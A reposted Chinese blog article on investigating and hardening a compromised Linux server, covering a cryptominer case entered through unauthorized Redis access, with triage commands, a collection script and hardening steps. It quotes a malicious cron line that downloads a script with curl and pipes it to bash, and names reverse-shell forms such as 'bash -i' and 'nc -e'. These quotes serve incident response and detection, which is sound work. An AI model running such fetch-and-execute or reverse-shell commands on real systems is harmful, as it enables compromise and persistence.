Linux服务器被入侵后的排查与加固:真实案例复盘

admin 2025-12-25 02:53:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文复盘Linux服务器入侵应急响应,涵盖现场保留、进程网络排查、清除恶意程序及系统加固。提供排查命令与自动化脚本,强调修复Redis漏洞、SSH安全配置及Fail2Ban防护等实战建议,有效应对挖矿与后门攻击。 综合评分: 92 文章分类: 应急响应,安全运营,实战经验,恶意软件,漏洞分析


cover_image

Linux服务器被入侵后的排查与加固:真实案例复盘

点击关注👉

马哥网络安全

2025年12月23日 17:00 河南

Linux服务器被入侵后的排查与加固:真实案例复盘

一、概述

1.1 背景介绍

去年某个周五的凌晨3点,监控系统疯狂报警,我被电话叫醒。打开电脑一看,生产环境3台服务器CPU使用率全部飙到100%。当时第一反应是业务量暴增?登上服务器一看,top里面赫然躺着几个从没见过的进程名,占用率高达98%。

说实话,那一刻心里是凉的。服务器被黑了。

后来排查发现是挖矿病毒,攻击者通过一个老版本Redis的未授权访问漏洞进来的。这次事件让我们团队彻底重视了安全问题,也积累了一套完整的入侵排查和加固方案。

这篇文章就是把这些血泪教训整理出来,希望能帮到遇到同样问题的兄弟们。

1.2 技术特点

  • • 时间敏感性高:入侵排查讲究快准狠,攻击者可能还在线,随时可能清理痕迹或者进一步破坏
  • • 需要系统性排查:不能只看一个点,进程、网络、用户、定时任务、启动项都要过一遍
  • • 保留证据很重要:别上来就kill进程删文件,先留好证据,后面溯源和报告都要用

1.3 适用场景

  • • 场景一:服务器CPU/内存异常飙升,疑似挖矿
  • • 场景二:发现可疑进程或异常外连
  • • 场景三:收到云厂商安全告警(对外DDoS、挖矿、木马等)
  • • 场景四:日志中发现大量异常登录记录

1.4 环境要求

| 组件 | 版本要求 | 说明 | | — | — | — | | 操作系统 | CentOS 7+ / Ubuntu 18.04+ | 本文命令兼容主流发行版 | | 排查工具 | rkhunter, chkrootkit, unhide | 可选,用于深度检测 | | 网络工具 | netstat/ss, lsof | 系统自带 |


二、详细步骤

2.1 应急响应第一步:冷静,别瞎操作

发现服务器可能被入侵后,很多人第一反应是赶紧kill掉可疑进程,或者直接重装系统。千万别这么干

正确的做法:

1. 评估业务影响,决定是否断网

# 查看当前有多少业务连接
ss -ant | grep ESTABLISHED | wc -l

# 如果是核心生产服务器,不能随便断网
# 如果是可以隔离的服务器,可以考虑断开公网
iptables -I INPUT -j DROP
iptables -I OUTPUT -j DROP
# 但要保留你自己的SSH连接
iptables -I INPUT -s 你的IP -j ACCEPT
iptables -I OUTPUT -d 你的IP -j ACCEPT

2. 保留现场快照

# 备份当前进程信息
ps auxf > /tmp/ps_$(date +%Y%m%d_%H%M%S).txt

# 备份网络连接
netstat -antup > /tmp/netstat_$(date +%Y%m%d_%H%M%S).txt

# 备份定时任务
crontab -l > /tmp/crontab_$(date +%Y%m%d_%H%M%S).txt
cat /etc/crontab >> /tmp/crontab_$(date +%Y%m%d_%H%M%S).txt
ls -la /etc/cron.* >> /tmp/crontab_$(date +%Y%m%d_%H%M%S).txt

# 如果有条件,对整个磁盘做个快照
# 云服务器可以直接在控制台创建快照

2.2 入侵排查流程

◆ 2.2.1 检查异常进程

这是最直观的排查点。挖矿病毒、反弹shell这些基本都会有进程在跑。

# 按CPU使用率排序,看看谁在吃资源
ps aux --sort=-%cpu | head -20

# 按内存排序
ps aux --sort=-%mem | head -20

# 查看完整的进程树,有些恶意进程会伪装成正常服务的子进程
ps auxf

# 重点关注这些可疑特征:
# - 进程名是随机字符串,比如 "aGhsZD"
# - 进程路径在 /tmp、/var/tmp、/dev/shm 下
# - 进程名伪装成系统进程但路径不对,比如 /tmp/sshd

有个坑要注意:有些高级一点的恶意程序会修改进程名。用下面的方法可以看到真实的可执行文件:

# 假设可疑进程PID是12345
ls -la /proc/12345/exe
# 这会显示实际的可执行文件路径

# 查看进程的命令行参数
cat /proc/12345/cmdline | tr'\0'' '

# 查看进程打开的文件
ls -la /proc/12345/fd/

# 查看进程的环境变量
cat /proc/12345/environ | tr'\0''\n'

◆ 2.2.2 检查异常网络连接

挖矿程序需要连矿池,反弹shell需要连C2服务器。检查网络连接能发现很多问题。

# 查看所有网络连接(推荐用ss,比netstat快)
ss -antup

# 只看ESTABLISHED的连接
ss -antup state established

# 查看哪些进程在监听端口
ss -tlnp

# 重点关注:
# - 连接到陌生IP的进程
# - 监听了奇怪端口的进程
# - 大量连接同一个外部IP的情况

用lsof也很好用:

# 查看所有网络连接
lsof -i

# 查看连接到外网的进程
lsof -i @外网IP

# 查看某个进程的网络连接
lsof -p 12345 -i

发现可疑IP后,可以查一下这个IP的归属:

# 查IP归属(需要curl)
curl ip.sb/12.34.56.78
# 或者
curl ipinfo.io/12.34.56.78

◆ 2.2.3 检查异常用户和权限

攻击者经常会创建后门用户,或者给普通用户加sudo权限。

# 查看所有用户
cat /etc/passwd

# 重点关注:
# - UID为0的用户(除了root)
awk -F: '$3==0 {print $1}' /etc/passwd

# - 能登录的用户(shell不是nologin/false)
grep -v '/nologin\|/false' /etc/passwd

# - 新增的用户(按时间排序)
ls -lt /home/

# 检查sudo权限
cat /etc/sudoers
ls -la /etc/sudoers.d/

# 检查SSH公钥(每个用户都要查)
cat /root/.ssh/authorized_keys
for user in $(ls /home); do
echo"=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done

◆ 2.2.4 检查定时任务

定时任务是恶意程序实现持久化的常用手段。有的挖矿程序每分钟检查自己有没有在运行,没有就重新启动。

# 检查root的定时任务
crontab -l

# 检查所有用户的定时任务
for user in $(cut -d: -f1 /etc/passwd); do
echo"=== $user ==="
    crontab -l -u $user 2>/dev/null
done

# 检查系统级定时任务
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

# 查看最近修改的定时任务文件
find /etc/cron* -mtime -7 -type f

# 还有一个容易被忽略的:anacron
cat /etc/anacrontab

# systemd的定时器也要查
systemctl list-timers --all

◆ 2.2.5 检查启动项

开机启动也是持久化的常见手段。

# SysV风格的启动脚本
ls -la /etc/init.d/
ls -la /etc/rc.local
cat /etc/rc.local

# systemd服务
systemctl list-unit-files --type=service | grep enabled

# 检查最近新增或修改的服务
find /etc/systemd/system -mtime -7 -type f
find /usr/lib/systemd/system -mtime -7 -type f

# 用户级别的自启动
ls -la ~/.config/autostart/ 2>/dev/null

◆ 2.2.6 检查系统日志

日志是还原攻击路径的关键。当然,高明的攻击者会清理日志,但大多数自动化攻击工具不会。

# 查看登录日志
last -n 50
lastb -n 50   # 失败的登录尝试

# 查看认证日志
# CentOS/RHEL
tail -500 /var/log/secure | grep -i 'accepted\|failed'

# Ubuntu/Debian
tail -500 /var/log/auth.log | grep -i 'accepted\|failed'

# 查看SSH暴力破解
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20

# 查看系统日志
tail -500 /var/log/messages
journalctl -xe --no-pager | tail -200

# 检查日志有没有被清空(大小突然变很小)
ls -la /var/log/

◆ 2.2.7 检查Rootkit

Rootkit是比较高级的后门,会隐藏进程、文件、网络连接。用专门的工具来检测:

# 安装rkhunter
yum install -y rkhunter   # CentOS
apt install -y rkhunter   # Ubuntu

# 更新数据库并扫描
rkhunter --update
rkhunter --check --sk

# 安装chkrootkit
yum install -y chkrootkit  # 可能需要EPEL源
apt install -y chkrootkit

# 执行检查
chkrootkit

# unhide可以发现隐藏的进程和端口
yum install -y unhide
unhide proc
unhide sys
unhide-tcp

2.3 清除恶意程序

确认了恶意程序的位置后,就可以开始清理了。但要注意顺序,不然可能清不干净。

# 1. 先停掉恶意进程
kill&nbsp;-9 <PID>

# 如果进程杀不掉,可能有守护进程,先找到守护进程一起杀
ps auxf | grep -A5 <恶意进程名>

# 2. 删除恶意文件
rm&nbsp;-f /tmp/恶意文件
rm&nbsp;-f /var/tmp/恶意文件

# 3. 清理定时任务
crontab -e &nbsp;# 删掉可疑条目
rm&nbsp;-f /etc/cron.d/可疑文件

# 4. 清理启动项
systemctl&nbsp;disable&nbsp;可疑服务
rm&nbsp;-f /etc/systemd/system/可疑服务.service
systemctl daemon-reload

# 5. 清理后门用户
userdel -r 后门用户名

# 6. 清理SSH公钥
vim /root/.ssh/authorized_keys &nbsp;# 删掉不认识的公钥

有个坑:有些恶意程序会用chattr锁定文件,删不掉。

# 查看文件属性
lsattr /tmp/恶意文件

# 如果有i属性,先去掉
chattr -i /tmp/恶意文件

# 然后再删除
rm&nbsp;-f /tmp/恶意文件

2.4 系统加固

清理完之后,必须做加固,不然可能会被同样的方式再次入侵。

# 1. 修改SSH端口,禁止root登录
vim /etc/ssh/sshd_config
# Port 22222
# PermitRootLogin no
# PasswordAuthentication no &nbsp;# 只允许密钥登录

systemctl restart sshd

# 2. 配置防火墙
# CentOS 7+
firewall-cmd --permanent --add-port=22222/tcp
firewall-cmd --permanent --remove-service=ssh
firewall-cmd --reload

# 或者用iptables
iptables -A INPUT -p tcp --dport 22222 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP

# 3. 更新系统和软件
yum update -y &nbsp;# CentOS
apt update && apt upgrade -y &nbsp;# Ubuntu

# 4. 修复漏洞
# 如果是Redis未授权访问,加上密码
vim /etc/redis.conf
# requirepass 你的强密码
# bind 127.0.0.1

# 5. 安装fail2ban防暴力破解
yum install -y fail2ban
systemctl&nbsp;enable&nbsp;fail2ban
systemctl start fail2ban

三、示例代码和配置

3.1 完整排查脚本

这个脚本是我们团队日常用的,一键收集各种信息:

#!/bin/bash
# security_check.sh - Linux安全排查脚本
# 使用方法: bash security_check.sh > check_result.txt 2>&1

echo"========================================"
echo"Linux安全排查脚本"
echo"检查时间:&nbsp;$(date '+%Y-%m-%d %H:%M:%S')"
echo"主机名:&nbsp;$(hostname)"
echo"========================================"

echo""
echo"=== 1. 系统基本信息 ==="
uname&nbsp;-a
cat&nbsp;/etc/os-release 2>/dev/null ||&nbsp;cat&nbsp;/etc/redhat-release 2>/dev/null

echo""
echo"=== 2. CPU占用TOP10进程 ==="
ps aux --sort=-%cpu |&nbsp;head&nbsp;-11

echo""
echo"=== 3. 内存占用TOP10进程 ==="
ps aux --sort=-%mem |&nbsp;head&nbsp;-11

echo""
echo"=== 4. 进程树 ==="
ps auxf

echo""
echo"=== 5. 网络连接 ==="
ss -antup 2>/dev/null || netstat -antup

echo""
echo"=== 6. 监听端口 ==="
ss -tlnp 2>/dev/null || netstat -tlnp

echo""
echo"=== 7. UID=0的用户 ==="
awk -F:&nbsp;'$3==0 {print $1}'&nbsp;/etc/passwd

echo""
echo"=== 8. 可登录用户 ==="
grep -v&nbsp;'/nologin\|/false'&nbsp;/etc/passwd

echo""
echo"=== 9. 定时任务 ==="
echo"--- root crontab ---"
crontab -l 2>/dev/null
echo"--- /etc/crontab ---"
cat&nbsp;/etc/crontab
echo"--- /etc/cron.d/ ---"
ls&nbsp;-la /etc/cron.d/

echo""
echo"=== 10. SSH公钥 ==="
echo"--- root ---"
cat&nbsp;/root/.ssh/authorized_keys 2>/dev/null
for&nbsp;user&nbsp;in&nbsp;$(ls&nbsp;/home 2>/dev/null);&nbsp;do
echo"---&nbsp;$user&nbsp;---"
cat&nbsp;/home/$user/.ssh/authorized_keys 2>/dev/null
done

echo""
echo"=== 11. 最近登录 ==="
last -n 20

echo""
echo"=== 12. 失败登录 ==="
lastb -n 20 2>/dev/null

echo""
echo"=== 13. 最近7天修改的文件(/tmp /var/tmp /dev/shm)==="
find /tmp /var/tmp /dev/shm -mtime -7 -type&nbsp;f 2>/dev/null

echo""
echo"=== 14. 可疑目录下的可执行文件 ==="
find /tmp /var/tmp /dev/shm -type&nbsp;f -executable 2>/dev/null

echo""
echo"=== 15. 启用的systemd服务 ==="
systemctl list-unit-files --type=service | grep enabled

echo""
echo"=== 16. /etc/rc.local ==="
cat&nbsp;/etc/rc.local 2>/dev/null

echo""
echo"=== 排查完成 ==="

使用方法:

# 下载或创建脚本
vim security_check.sh
# 粘贴上面内容

# 执行并保存结果
chmod&nbsp;+x security_check.sh
./security_check.sh > check_result_$(date&nbsp;+%Y%m%d).txt 2>&1

# 查看结果
less check_result_$(date&nbsp;+%Y%m%d).txt

3.2 实际应用案例

◆ 案例一:挖矿病毒排查

症状:服务器CPU持续100%,top里有个叫kworkerds的进程吃满CPU。

排查过程

# 1. 看进程详情
ps aux | grep kworkerds
# root 12345 99.0 1.0 xxx xxx ? Ssl 03:00 120:00 /tmp/.X11-unix/kworkerds

# 2. 查看真实路径
ls&nbsp;-la /proc/12345/exe
# /tmp/.X11-unix/kworkerds

# 3. 检查网络连接
ss -antp | grep 12345
# ESTAB 0 0 本机IP:随机端口 矿池IP:3333

# 4. 检查定时任务
crontab -l
# */5 * * * * curl http://恶意域名/xx.sh | bash

# 5. 清理
kill&nbsp;-9 12345
rm&nbsp;-rf /tmp/.X11-unix/
crontab -r &nbsp;# 清空定时任务(先备份)

入侵原因:Redis未授权访问,攻击者通过Redis写入SSH公钥和定时任务。

◆ 案例二:SSH暴力破解

症状:lastb显示大量失败登录,某弱密码账户被攻破。

排查过程

# 1. 查看暴力破解来源
grep&nbsp;"Failed password"&nbsp;/var/log/secure | awk&nbsp;'{print $(NF-3)}'&nbsp;|&nbsp;sort&nbsp;|&nbsp;uniq&nbsp;-c |&nbsp;sort&nbsp;-rn |&nbsp;head
# 12580 45.xxx.xxx.xxx
# 8920 103.xxx.xxx.xxx

# 2. 查看成功登录
grep&nbsp;"Accepted"&nbsp;/var/log/secure |&nbsp;tail&nbsp;-20
# Accepted password for deploy from 45.xxx.xxx.xxx

# 3. 检查该用户的操作历史
cat&nbsp;/home/deploy/.bash_history

# 4. 检查是否留有后门
cat&nbsp;/home/deploy/.ssh/authorized_keys
crontab -l -u deploy

加固措施

# 1. 禁用密码登录
vim /etc/ssh/sshd_config
# PasswordAuthentication no

# 2. 安装fail2ban
yum install -y fail2ban
cat&nbsp;> /etc/fail2ban/jail.local <<&nbsp;'EOF'
[sshd]
enabled =&nbsp;true
port = ssh
filter = sshd
logpath = /var/log/secure
maxretry = 5
bantime = 3600
EOF
systemctl restart fail2ban

四、最佳实践和注意事项

4.1 最佳实践

◆ 4.1.1 日常安全加固清单

别等出事了才想起来加固。这些是最基本的:

# 1. SSH安全配置
cat&nbsp;>> /etc/ssh/sshd_config <<&nbsp;'EOF'
Port 22222
PermitRootLogin no
PasswordAuthentication no
MaxAuthTries 3
LoginGraceTime 60
AllowUsers ops deploy
EOF

# 2. 系统账户安全
# 锁定不需要登录的系统账户
for&nbsp;user&nbsp;in&nbsp;bin daemon adm lp&nbsp;sync&nbsp;shutdown halt mail operator games ftp;&nbsp;do
&nbsp; &nbsp; usermod -s /sbin/nologin&nbsp;$user&nbsp;2>/dev/null
done

# 3. 文件权限加固
chmod&nbsp;600 /etc/shadow
chmod&nbsp;644 /etc/passwd
chmod&nbsp;700 /root

# 4. 重要文件设置不可修改
chattr +i /etc/passwd
chattr +i /etc/shadow
chattr +i /etc/sudoers
# 需要修改时先 chattr -i

◆ 4.1.2 监控告警配置

# Prometheus告警规则示例
groups:
-name:security
rules:
-alert:HighCPUUsage
expr:100-(avgby(instance)(irate(node_cpu_seconds_total{mode="idle"}[5m]))*100)>90
for:5m
labels:
severity:warning
annotations:
summary:"CPU使用率过高,可能存在挖矿"

-alert:SuspiciousOutboundConnection
expr:increase(node_netstat_Tcp_OutSegs[5m])>100000
for:5m
labels:
severity:warning
annotations:
summary:"对外连接异常增多"

◆ 4.1.3 定期安全审计

建议每周跑一次安全检查脚本,结果发邮件或钉钉通知。

# 加到crontab
0 2 * * 1 /opt/scripts/security_check.sh | mail -s&nbsp;"周安全检查报告"&nbsp;[email protected]

4.2 注意事项

◆ 4.2.1 排查注意事项

  • • 别用被入侵机器上的命令:攻击者可能替换了ps、netstat等命令,建议从可信源拷贝静态编译的busybox
  • • 保留证据:杀进程前先记录PID、内存dump、网络连接
  • • 检查其他机器:攻击者可能已经横向移动到其他服务器

◆ 4.2.2 常见错误

| 错误现象 | 原因分析 | 解决方案 | | — | — | — | | 杀掉进程后又自动启动 | 有守护进程或定时任务在监控 | 先清理定时任务和守护进程,再杀主进程 | | 删除文件提示Operation not permitted | 文件被chattr +i锁定 | 先chattr -i解锁再删除 | | 清理后过几天又被入侵 | 漏洞没修复或后门没清理干净 | 彻底排查所有持久化位置,修复漏洞 | | rkhunter报警但看起来正常 | 误报,或者确实有rootkit | 对比多个工具的结果,必要时重装系统 |

◆ 4.2.3 什么时候该考虑重装系统

  • • 发现了rootkit
  • • 内核模块被替换
  • • 排查成本高于重装成本
  • • 无法确认是否清理干净

五、故障排查和监控

5.1 日志分析技巧

# 统计登录失败次数TOP20 IP
grep&nbsp;"Failed password"&nbsp;/var/log/secure | awk&nbsp;'{print $(NF-3)}'&nbsp;|&nbsp;sort&nbsp;|&nbsp;uniq&nbsp;-c |&nbsp;sort&nbsp;-rn |&nbsp;head&nbsp;-20

# 查看某IP的所有操作
grep&nbsp;"192.168.1.100"&nbsp;/var/log/secure

# 分析登录时间规律
grep&nbsp;"Accepted"&nbsp;/var/log/secure | awk&nbsp;'{print $1,$2,$3}'&nbsp;|&nbsp;cut&nbsp;-d: -f1,2 |&nbsp;sort&nbsp;|&nbsp;uniq&nbsp;-c

# 查找日志中的敏感操作
grep -E&nbsp;'useradd|userdel|passwd|sudo|su '&nbsp;/var/log/secure

5.2 监控指标

| 指标名称 | 正常范围 | 告警阈值 | 说明 | | — | — | — | — | | CPU使用率 | 0-70% | >90%持续5分钟 | 排除正常业务峰值 | | 异常外连数 | <50/min | >200/min | 可能在扫描或DDoS | | SSH登录失败 | <10/hour | >100/hour | 可能被暴力破解 | | 新增用户 | 0 | >0 | 任何新增都要告警 | | 定时任务变更 | 0 | >0 | 监控crontab变化 |

5.3 告警规则

# 简易监控脚本,可以用cron每分钟跑一次
#!/bin/bash

# 检查CPU是否持续过高
cpu_usage=$(top -bn1 | grep&nbsp;"Cpu(s)"&nbsp;| awk&nbsp;'{print $2}'&nbsp;|&nbsp;cut&nbsp;-d% -f1)
if&nbsp;[ $(echo"$cpu_usage&nbsp;> 90"&nbsp;| bc) -eq 1 ];&nbsp;then
echo"告警:CPU使用率&nbsp;${cpu_usage}%"
fi

# 检查是否有新的ESTABLISHED连接到异常端口
suspicious_ports="3333 4444 5555 6666 7777"# 常见矿池端口
for&nbsp;port&nbsp;in$suspicious_ports;&nbsp;do
&nbsp; &nbsp; count=$(ss -ant | grep&nbsp;":$port"&nbsp;| grep ESTAB |&nbsp;wc&nbsp;-l)
if&nbsp;[&nbsp;$count&nbsp;-gt 0 ];&nbsp;then
echo"告警:发现连接到可疑端口&nbsp;$port"
fi
done

六、总结

6.1 技术要点回顾

  • • 应急响应要冷静:先保留证据,再做清理
  • • 排查要系统化:进程、网络、用户、定时任务、启动项、日志,一个都不能少
  • • 清理要彻底:注意守护进程、chattr锁定、多个持久化位置
  • • 加固是根本:修复漏洞、收紧权限、配置监控

6.2 进阶学习方向

  1. 1. HIDS部署:建议部署开源的OSSEC或商业的HIDS产品,实时监控
  2. 2. 日志分析平台:ELK收集所有服务器日志,便于溯源分析
  3. 3. 安全基线扫描:定期用OpenSCAP等工具做合规检查
  4. 4. 攻防演练:红蓝对抗,主动发现问题

6.3 参考资料

  • • Linux安全加固指南 – CIS Benchmark
  • • rkhunter官方文档
  • • SANS应急响应手册

附录

A. 命令速查表

# 进程排查
ps aux --sort=-%cpu |&nbsp;head&nbsp;-20 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# CPU占用TOP20
ps auxf &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 进程树
ls&nbsp;-la /proc/<PID>/exe &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 查看进程真实路径

# 网络排查
ss -antup &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 所有连接
ss -tlnp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 监听端口
lsof -i &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 网络文件

# 用户排查
awk -F:&nbsp;'$3==0 {print $1}'&nbsp;/etc/passwd &nbsp;&nbsp;# UID=0的用户
last -n 50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 登录历史
lastb -n 50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 失败登录

# 定时任务
crontab -l &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 当前用户定时任务
cat&nbsp;/etc/crontab &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 系统定时任务
systemctl list-timers &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# systemd定时器

# 文件排查
find /tmp -mtime -7 -type&nbsp;f &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 最近7天修改的文件
lsattr <file> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看文件属性
chattr -i <file> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 解除锁定

B. 常见恶意程序特征

| 类型 | 常见特征 | 示例进程名 | | — | — | — | | 挖矿程序 | CPU满载,连接3333/5555等端口 | kworkerds, ksoftirqd, kdevtmpfsi | | 反弹shell | 建立外连,可能bash/sh/nc进程 | bash -i, nc -e | | DDoS肉鸡 | 大量对外连接 | .sshd, atdd | | SSH后门 | 监听非标准端口 | 伪装sshd |

C. 术语表

| 术语 | 英文 | 解释 | | — | — | — | | 入侵检测 | Intrusion Detection | 识别系统是否被攻击 | | 持久化 | Persistence | 攻击者保持访问权限的手段 | | Rootkit | Rootkit | 隐藏自身的恶意软件 | | C2 | Command & Control | 攻击者的控制服务器 | | 横向移动 | Lateral Movement | 攻击者在内网扩散 | | IOC | Indicators of Compromise | 入侵指标 |

今日福利

为了帮助大家入门网安,给大家推荐一份《新手Web安全入门到精通》,共474页,包括代码审计、web漏洞、靶场实例分析、信息收集、渗透思路等,将Web安全攻防知识点一网打尽。

代码配图,简单明了,攻防思路清晰透彻,关键是里面还配有多张思维导图,通俗易懂,实用性非常强,很适合新手学习参考~

以上资料获取请扫码

识别上方二维码

备注:web安全入门到精通

100%免费领取

(是扫码领取,不是在公众号后台回复,别看错了哦)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:马哥网络安全 点击关注👉《Linux服务器被入侵后的排查与加固:真实案例复盘》

评论:0   参与:  4